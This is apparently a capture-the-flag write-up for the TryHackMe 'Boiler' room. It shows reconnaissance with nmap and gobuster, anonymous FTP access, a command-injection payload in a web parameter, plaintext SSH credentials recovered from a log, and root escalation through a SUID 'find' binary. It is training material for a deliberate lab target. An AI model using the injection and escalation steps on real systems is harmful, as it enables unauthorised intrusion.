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TryHackMe/Boiler.md
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TryHackMe/Boiler.md
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# TryHackMe-Boiler CTF
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## NMAP
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```
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Host is up (0.15s latency).
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Not shown: 997 closed ports
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PORT STATE SERVICE VERSION
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21/tcp open ftp vsftpd 3.0.3
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|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
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| ftp-syst:
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| STAT:
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| FTP server status:
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| Connected to ::ffff:10.14.3.143
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| Logged in as ftp
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| TYPE: ASCII
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| No session bandwidth limit
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| Session timeout in seconds is 300
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| Control connection is plain text
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| Data connections will be plain text
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| At session startup, client count was 3
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| vsFTPd 3.0.3 - secure, fast, stable
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|_End of status
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80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
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| http-robots.txt: 1 disallowed entry
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|_/
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|_http-server-header: Apache/2.4.18 (Ubuntu)
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|_http-title: Apache2 Ubuntu Default Page: It works
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10000/tcp open http MiniServ 1.930 (Webmin httpd)
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|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
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55007/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
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| ssh-hostkey:
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| 2048 e3:ab:e1:39:2d:95:eb:13:55:16:d6:ce:8d:f9:11:e5 (RSA)
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| 256 ae:de:f2:bb:b7:8a:00:70:20:74:56:76:25:c0:df:38 (ECDSA)
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|_ 256 25:25:83:f2:a7:75:8a:a0:46:b2:12:70:04:68:5c:cb (ED25519)
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Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
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Service Info: OS: Unix
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Service detection performed. Please report any incorrect results at https
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```
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## PORT 21 (FTP)
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So `anonymous` login is allowed on ftp so ,
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```
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root@kali:~/TryHackMe/Medium/BoilerCTF# ftp 10.10.214.74
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Connected to 10.10.214.74.
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220 (vsFTPd 3.0.3)
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Name (10.10.214.74:root): anonymous
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230 Login successful.
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Remote system type is UNIX.
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Using binary mode to transfer files.
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ftp>
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ftp> ls -al
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200 PORT command successful. Consider using PASV.
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150 Here comes the directory listing.
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drwxr-xr-x 2 ftp ftp 4096 Aug 22 2019 .
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drwxr-xr-x 2 ftp ftp 4096 Aug 22 2019 ..
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-rw-r--r-- 1 ftp ftp 74 Aug 21 2019 .info.txt
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226 Directory send OK.
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ftp> get .info.txt
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local: .info.txt remote: .info.txt
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200 PORT command successful. Consider using PASV.
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150 Opening BINARY mode data connection for .info.txt (74 bytes).
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226 Transfer complete.
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74 bytes received in 0.00 secs (587.5254 kB/s)
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ftp>
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```
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We find a hidden file named `info.txt`
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This is the content of the file
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```
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hfg jnagrq gb frr vs lbh svaq vg. Yby. Erzrzore: Rahzrengvba vf gur xrl!
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```
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<img src="https://imgur.com/nTfXRPJ.png"/>
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Well this is a rabbit hole but so lets enumerate other ports .
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## PORT 80 (HTTP)
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We get a deafult apache web page
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<img src="https://imgur.com/gFqIWoq.png"/>
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But it's good to always view the source page and since nmap showed us that there is `robots.txt` so lets look for it
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<img src="https://imgur.com/jSH9tP7.png"/>
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There wasn't anything useful in the source code of web page.
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Running gobuster we found some directories
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```
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root@kali:~/TryHackMe/Medium/BoilerCTF# gobuster dir -u http://10.10.214.74/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
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===============================================================
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Gobuster v3.0.1
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by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
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===============================================================
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[+] Url: http://10.10.214.74/
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[+] Threads: 10
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[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
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[+] Status codes: 200,204,301,302,307,401,403
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[+] User Agent: gobuster/3.0.1
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[+] Timeout: 10s
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===============================================================
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2020/11/08 23:32:44 Starting gobuster
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===============================================================
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/manual (Status: 301)
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/joomla (Status: 301)
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```
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I ran gobuster on `/joomla`
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```
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root@kali:~/TryHackMe/Medium/BoilerCTF# gobuster dir -u http://10.10.214.74/joomla -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
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===============================================================
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Gobuster v3.0.1
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by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
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===============================================================
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[+] Url: http://10.10.214.74/joomla
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[+] Threads: 10
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[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
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[+] Status codes: 200,204,301,302,307,401,403
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[+] User Agent: gobuster/3.0.1
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[+] Timeout: 10s
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===============================================================
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2020/11/08 23:35:14 Starting gobuster
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===============================================================
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/images (Status: 301)
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/media (Status: 301)
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/templates (Status: 301)
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/modules (Status: 301)
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/tests (Status: 301)
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/bin (Status: 301)
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/plugins (Status: 301)
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/includes (Status: 301)
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/language (Status: 301)
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/components (Status: 301)
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/cache (Status: 301)
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/libraries (Status: 301)
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/installation (Status: 301)
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/build (Status: 301)
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/tmp (Status: 301)
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/layouts (Status: 301)
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/administrator (Status: 301)
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```
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I kept this brute force ruuning in the background and focused on enumurating other stuff ,`/administrator` presented us a login page
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<img src="https://imgur.com/kDz7kyw.png"/>
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## PORT 10000 (HTTPS)
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There is a login page by the name of `webmin` but by answering the question on the room it doesn't seen that we
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<img src="https://imgur.com/m21Vrx3.png"/>
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## Coming back to PORT 80
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I saw that my gobuster reutrned some more directories
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```
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/cli (Status: 301)
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/_files (Status: 301)
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```
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`/cli` was empty but `/_files` was interesting
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<img src="https://imgur.com/SsPdcri.png"/>
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This time I used `ciphey` if you want to install this https://github.com/Ciphey/Ciphey , and this was nothing but a rabbithole again :D
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```
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root@kali:~/TryHackMe/Medium/BoilerCTF# ciphey -t VjJodmNITnBaU0JrWVdsemVRbz0K
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Result 'Whopsie daisy\n' (y/N): y
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Format used:
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base64
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utf8
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base64
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utf8
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Final result: "Whopsie daisy"
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```
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I again run directory bruteforcing through `big.txt`
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```
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=============================================================
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Gobuster v3.0.1
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by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
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===============================================================
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[+] Url: http://10.10.214.74/joomla
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[+] Threads: 10
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[+] Wordlist: /usr/share/wordlists/dirb/big.txt
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[+] Status codes: 200,204,301,302,307,401,403
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[+] User Agent: gobuster/3.0.1
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[+] Timeout: 10s
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===============================================================
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2020/11/09 00:37:20 Starting gobuster
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===============================================================
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/.htpasswd (Status: 403)
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/.htaccess (Status: 403)
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/_archive (Status: 301)
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/_database (Status: 301)
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/_files (Status: 301)
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/_test (Status: 301)
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/administrator (Status: 301)
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/bin (Status: 301)
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/build (Status: 301)
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/cache (Status: 301)
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/cli (Status: 301)
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/components (Status: 301)
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/images (Status: 301)
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/includes (Status: 301)
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/language (Status: 301)
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/layouts (Status: 301)
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/libraries (Status: 301)
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/media (Status: 301)
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/modules (Status: 301)
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/plugins (Status: 301)
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/robots.txt (Status: 200)
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```
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And this time found archive,test,files so lets visit that
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<img src="https://imgur.com/i58lDNP.png"/>
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On this page run commands like this `?plot=LINUX;ls` this will show the files in that directory and we can read `log.txt`
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From that file we can find ssh credentials
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```
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basterd:superduperp@$$
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```
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## PORT 55007 (SSH)
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<img src="https://imgur.com/NpbyE0y.png"/>
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On viewing `backup.sh` we can find `stoner`'s password `superduperp@$$no1knows`
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<img src="https://imgur.com/QPwReOp.png"/>
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Checking for SUID we found
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```
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stoner@Vulnerable:/home/basterd$ find / -perm /4000 2>/dev/null
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/bin/su
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/bin/fusermount
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/bin/umount
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/bin/mount
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/bin/ping6
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/bin/ping
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/usr/lib/policykit-1/polkit-agent-helper-1
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/usr/lib/apache2/suexec-custom
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/usr/lib/apache2/suexec-pristine
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/usr/lib/dbus-1.0/dbus-daemon-launch-helper
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/usr/lib/openssh/ssh-keysign
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/usr/lib/eject/dmcrypt-get-device
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/usr/bin/newgidmap
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/usr/bin/find
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/usr/bin/at
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/usr/bin/chsh
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/usr/bin/chfn
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/usr/bin/passwd
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/usr/bin/newgrp
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/usr/bin/sudo
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/usr/bin/pkexec
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/usr/bin/gpasswd
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/usr/bin/newuidmap
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```
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`find` can be used to privesc so, first I tried to give `/bin/bash` SUID but it failed then I put `stoner` in sudoers and then it got executed then switched to `stoner` again and then we can execute `bash` as `root`
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```
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stoner@Vulnerable:/home/basterd$ find . -exec chmod+s /bin/bash
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find: missing argument to `-exec'
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stoner@Vulnerable:/home/basterd$ find . -exec usermod -aG sudo stoner \;
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stoner@Vulnerable:/home/basterd$ sudo bash
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[sudo] password for stoner:
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Sorry, try again.
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[sudo] password for stoner:
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Sorry, user stoner is not allowed to execute '/bin/bash' as root on Vulnerable.
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stoner@Vulnerable:/home/basterd$ whoami
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stoner
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stoner@Vulnerable:/home/basterd$ sudo -l
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User stoner may run the following commands on Vulnerable:
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(root) NOPASSWD: /NotThisTime/MessinWithYa
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stoner@Vulnerable:/home/basterd$ su stoner
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Password:
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To run a command as administrator (user "root"), use "sudo <command>".
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See "man sudo_root" for details.
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stoner@Vulnerable:/home/basterd$ sudo bash
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[sudo] password for stoner:
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root@Vulnerable:/home/basterd#
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```
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